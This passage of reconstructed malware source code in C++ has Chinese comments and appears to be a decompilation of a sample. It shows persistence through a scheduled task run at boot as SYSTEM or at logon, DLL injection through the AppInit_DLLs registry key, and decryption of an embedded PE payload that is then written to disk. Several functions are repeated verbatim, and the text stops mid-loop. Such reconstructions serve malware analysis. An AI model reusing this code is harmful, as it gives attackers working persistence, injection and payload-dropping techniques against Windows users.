pTriggerCollection->Release(); //查询接口 pBootTrigger = NULL; pTrigger->QueryInterface(IID_IBootTrigger, (void**)&pBootTrigger); //减少引用计数 pTrigger->Release(); pBootTrigger->put_Id(strId); } else //loc_401ADA { //为任务创建新触发器 pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger); //减少引用计数 pTriggerCollection->Release(); //查询接口 ILogonTrigger* pLogonTrigger = NULL; pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger); //减少引用计数 pTrigger->Release(); WCHAR szUserName[256]; DWORD dwSize = 256; GetUserNameW(szUserName, &dwSize); pLogonTrigger->put_UserId(szUserName); pLogonTrigger->put_Id(strId); IPrincipal* pPrincipal = NULL; pDefinition->get_Principal(&pPrincipal); } //loc_401BB8 //获取任务执行的集合 IActionCollection* pActionCollention = NULL; pDefinition->get_Actions(&pActionCollention); //创建一个新操作并将其添加到集合 IAction* pAction = NULL; pActionCollention->Create(TASK_ACTION_EXEC, &pAction); pActionCollention->Release(); //查询接口 IExecAction* pExecAction = NULL; pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction); pAction->Release(); //设置程序路径 pExecAction->put_Path(Global::g_szExistingFileName); //设置命令行参数 pExecAction->put_Arguments(Global::g_szSubStr1); pExecAction->Release(); IRegisteredTask* pTask = NULL; if (p0 != 0) { //注册一个以 NT AUTHORITY\SYSTEM 系统账户运行的任务 BSTR strPath = SysAllocString(L"NT AUTHORITY\\SYSTEM"); VARIANT user; user.vt = VT_BSTR; user.bstrVal = strPath; pFolder->RegisterTaskDefinition(Global::g_szSubStr2, pDefinition, TASK_CREATE_OR_UPDATE, user, { 0 }, TASK_LOGON_SERVICE_ACCOUNT, { 0 }, &pTask); } else //loc_401D3E { //注册任务 pFolder->RegisterTaskDefinition(Global::g_szSubStr2, pDefinition, TASK_CREATE_OR_UPDATE, { 0 }, { 0 }, TASK_LOGON_INTERACTIVE_TOKEN, { 0 }, &pTask); } //loc_401DAB pFolder->Release(); pDefinition->Release(); if (pTask != NULL) { //立即运行已注册的任务 IRunningTask* pRunningTask = NULL; VARIANT v; v.vt = VT_NULL; pTask->Run(v, &pRunningTask); if (pRunningTask != NULL) { pRunningTask->Release(); } pTask->Release(); CoUninitialize(); return true; } CoUninitialize(); return false;}bool sub_401830(DWORD p0){ //初始化COM CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); //注册安全性并设置进程的默认安全值 CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL); //创建对象 ITaskService* pTaskService = NULL; CoCreateInstance(CLSID_TaskScheduler, NULL, 1, IID_ITaskService, (LPVOID*)&pTaskService); //连接计算机 pTaskService->Connect({ 0 }, { 0 }, { 0 }, { 0 }); //获取已注册任务的文件夹 ITaskFolder* pFolder = NULL; WCHAR str[] = L"\\"; pTaskService->GetFolder(str, &pFolder); //获取用设置和属性填充的空任务定义对象 ITaskDefinition* pDefinition = NULL; pTaskService->NewTask(0, &pDefinition); //减少引用计数 pTaskService->Release(); //获取任务设置接口 ITaskSettings* pSettings = NULL; pDefinition->get_Settings(&pSettings); //启用延迟启动 pSettings->put_StartWhenAvailable(TRUE); //减少引用计数 pSettings->Release(); //获取或设置用于启动任务的触发器的集合 ITriggerCollection* pTriggerCollection = NULL; pDefinition->get_Triggers(&pTriggerCollection); IBootTrigger* pBootTrigger = NULL; ITrigger* pTrigger = NULL; WCHAR strId[] = L"1"; if (p0 != 0) { //为任务创建新触发器 pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger); //减少引用计数 pTriggerCollection->Release(); //查询接口 pBootTrigger = NULL; pTrigger->QueryInterface(IID_IBootTrigger, (void**)&pBootTrigger); //减少引用计数 pTrigger->Release(); pBootTrigger->put_Id(strId); } else //loc_401ADA { //为任务创建新触发器 pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger); //减少引用计数 pTriggerCollection->Release(); //查询接口 ILogonTrigger* pLogonTrigger = NULL; pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger); //减少引用计数 pTrigger->Release(); WCHAR szUserName[256]; DWORD dwSize = 256; GetUserNameW(szUserName, &dwSize); pLogonTrigger->put_UserId(szUserName); pLogonTrigger->put_Id(strId); IPrincipal* pPrincipal = NULL; pDefinition->get_Principal(&pPrincipal); } //loc_401BB8 //获取任务执行的集合 IActionCollection* pActionCollention = NULL; pDefinition->get_Actions(&pActionCollention); //创建一个新操作并将其添加到集合 IAction* pAction = NULL; pActionCollention->Create(TASK_ACTION_EXEC, &pAction); pActionCollention->Release(); //查询接口 IExecAction* pExecAction = NULL; pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction); pAction->Release(); //设置程序路径 pExecAction->put_Path(Global::g_szExistingFileName); //设置命令行参数 pExecAction->put_Arguments(Global::g_szSubStr1); pExecAction->Release(); IRegisteredTask* pTask = NULL; if (p0 != 0) { //注册一个以 NT AUTHORITY\SYSTEM 系统账户运行的任务 BSTR strPath = SysAllocString(L"NT AUTHORITY\\SYSTEM"); VARIANT user; user.vt = VT_BSTR; user.bstrVal = strPath; pFolder->RegisterTaskDefinition(Global::g_szSubStr2, pDefinition, TASK_CREATE_OR_UPDATE, user, { 0 }, TASK_LOGON_SERVICE_ACCOUNT, { 0 }, &pTask); } else //loc_401D3E { //注册任务 pFolder->RegisterTaskDefinition(Global::g_szSubStr2, pDefinition, TASK_CREATE_OR_UPDATE, { 0 }, { 0 }, TASK_LOGON_INTERACTIVE_TOKEN, { 0 }, &pTask); } //loc_401DAB pFolder->Release(); pDefinition->Release(); if (pTask != NULL) { //立即运行已注册的任务 IRunningTask* pRunningTask = NULL; VARIANT v; v.vt = VT_NULL; pTask->Run(v, &pRunningTask); if (pRunningTask != NULL) { pRunningTask->Release(); } pTask->Release(); CoUninitialize(); return true; } CoUninitialize(); return false;}bool sub_4013A0(){ HKEY pResult; //打开注册表 LSTATUS nRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_QUERY_VALUE | KEY_SET_VALUE, &pResult); if (nRet != ERROR_SUCCESS) { return false; } //设置注册表项 nRet = RegSetValueExW(pResult, L"AppInit_DLLS", 0, REG_SZ, (BYTE*)Global::g_szFileName, wcslen(Global::g_szFileName)); if (nRet != ERROR_SUCCESS) { return false; } DWORD dwData = 1; RegSetValueExW(pResult, L"LoadAppInit_DLLs", 0, REG_SZ, (BYTE*)&dwData, sizeof(dwData)); //关闭注册表 RegCloseKey(pResult); //key DWORD var_28[] = { Global::g_dword_40AB30 ,Global::g_dword_40AB34 }; DWORD var_14[] = { Global::g_dword_40AB20 ,Global::g_dword_40AB24, Global::g_dword_40AB28, Global::g_dword_40AB2C }; //计算加密数据字节数 DWORD dwNumberOfBytesToWrite = 0; DWORD* pEax = (DWORD*)Global::g_byte_40AB38; while ((pEax[0] | pEax[1]) != 0) { dwNumberOfBytesToWrite += 8; pEax += 2; } //解密PE,将解密数据存放到Global::g_byte_40AB38 sub_401200(Global::g_byte_40AB38, Global::g_byte_40AB38, dwNumberOfBytesToWrite, var_14, var_28); //创建文件 HANDLE hFile = CreateFileW(Global::g_szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); if (hFile != INVALID_HANDLE_VALUE) { //写文件 WriteFile(hFile, Global::g_byte_40AB38, dwNumberOfBytesToWrite,&dwNumberOfBytesToWrite, NULL); //关闭文件 CloseHandle(hFile); } return TRUE;}bool sub_4013A0(){ HKEY pResult; //打开注册表 LSTATUS nRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_QUERY_VALUE | KEY_SET_VALUE, &pResult); if (nRet != ERROR_SUCCESS) { return false; } //设置注册表项 nRet = RegSetValueExW(pResult, L"AppInit_DLLS", 0, REG_SZ, (BYTE*)Global::g_szFileName, wcslen(Global::g_szFileName)); if (nRet != ERROR_SUCCESS) { return false; } DWORD dwData = 1; RegSetValueExW(pResult, L"LoadAppInit_DLLs", 0, REG_SZ, (BYTE*)&dwData, sizeof(dwData)); //关闭注册表 RegCloseKey(pResult); //key DWORD var_28[] = { Global::g_dword_40AB30 ,Global::g_dword_40AB34 }; DWORD var_14[] = { Global::g_dword_40AB20 ,Global::g_dword_40AB24, Global::g_dword_40AB28, Global::g_dword_40AB2C }; //计算加密数据字节数 DWORD dwNumberOfBytesToWrite = 0; DWORD* pEax = (DWORD*)Global::g_byte_40AB38; while ((pEax[0] | pEax[1]) != 0) { dwNumberOfBytesToWrite += 8; pEax += 2; } //解密PE,将解密数据存放到Global::g_byte_40AB38 sub_401200(Global::g_byte_40AB38, Global::g_byte_40AB38, dwNumberOfBytesToWrite, var_14, var_28); //创建文件 HANDLE hFile = CreateFileW(Global::g_szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); if (hFile != INVALID_HANDLE_VALUE) { //写文件 WriteFile(hFile, Global::g_byte_40AB38, dwNumberOfBytesToWrite,&dwNumberOfBytesToWrite, NULL); //关闭文件 CloseHandle(hFile); } return TRUE;}void sub_401200(BYTE* pSrc, BYTE* pDst,DWORD dwSize, DWORD key1[4], DWORD key2[2]){ INT32 var_c = ((dwSize + 7) / 8) - 1; while (var_c >= 0) { BYTE* var_8 = &pSrc[var_c * 8 - 8]; if (var_c == 0) { var_8 = (BYTE*)key2; } DWORD dwEcx = bswap32(*(DWORD*)(&pSrc[var_c * 8])); DWORD dwEax = bswap32(*(DWORD*)(&pSrc[var_c * 8 + 4])); DWORD dwEdx = 0x0C6EF3720; for (DWORD i = 0; i < 32; i++) { DWORD dwEsi = (bswap32(key1[(dwEdx >> 0xB) & 3]) + dwEdx) ^ (((dwEcx >> 0x5) ^ (dwEcx << 0x4)) + dwEcx); dwEax = dwEax - dwEsi; dwEdx = dwEdx + 0x61C88647; dwEsi = (bswap32(key1[dwEdx & 3]) + dwEdx) ^ (((dwEax >> 5) ^ (dwEax << 4)) + dwEax); dwEcx = dwEcx - dwEsi; } *(DWORD*)(&pDst[var_c * 8]) = bswap32(dwEcx) ^ (((DWORD*)var_8)[0]); *(DWORD*)(&pDst[var_c * 8 + 4]) = bswap32(dwEax) ^ (((DWORD*)var_8)[1]); var_c--; }}void sub_401200(BYTE* pSrc, BYTE* pDst,DWORD dwSize, DWORD key1[4], DWORD key2[2]){ INT32 var_c = ((dwSize + 7) / 8) - 1; while (var_c >= 0) { BYTE* var_8 = &pSrc[var_c * 8 - 8]; if (var_c == 0) { var_8 = (BYTE*)key2; } DWORD dwEcx = bswap32(*(DWORD*)(&pSrc[var_c * 8])); DWORD dwEax = bswap32(*(DWORD*)(&pSrc[var_c * 8 + 4])); DWORD dwEdx = 0x0C6EF3720; for (DWORD i = 0; i < 32; i++)